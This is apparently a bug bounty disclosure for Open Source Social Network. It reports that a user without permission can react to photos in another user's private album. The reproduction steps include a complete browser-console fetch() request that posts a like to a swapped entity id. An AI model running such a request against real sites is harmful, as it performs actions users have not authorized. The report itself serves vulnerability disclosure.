Improper Privilege Management in opensource-socialnetwork/opensource-socialnetwork
Reported on
Jul 22nd 2021
💥 BUG
unprivileged user can like to private album .
💥 IMPACT
user who does not have permiison in private album still can comment in that album.
💥 STEP TO RERPODUCE
There is two user called user-A and user-B.
1. First goto user-A account and create a private album .
Lets album url is http://localhost/opensource-socialnetwork/album/view/10
and only friends can see this album .
2. Now goto user-B account and sent bellow request which will make a like
await fetch("http://localhost/opensource-socialnetwork/action/post/like?ossn_ts=1626891487&ossn_token=1621bc0dbc2b6deaca5953fb7b090441d4d2eb2295ced160c9471214a09f2112", {
"credentials": "include",
"headers": {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest"
},
"referrer": "http://localhost/opensource-socialnetwork/photos/view/56",
"body": "&entity=56&reaction_type=haha",
"method": "POST",
"mode": "cors"
});
Here in this request change entity id to image id of private album and execute the javascript code in browser-console and see like is performed in private album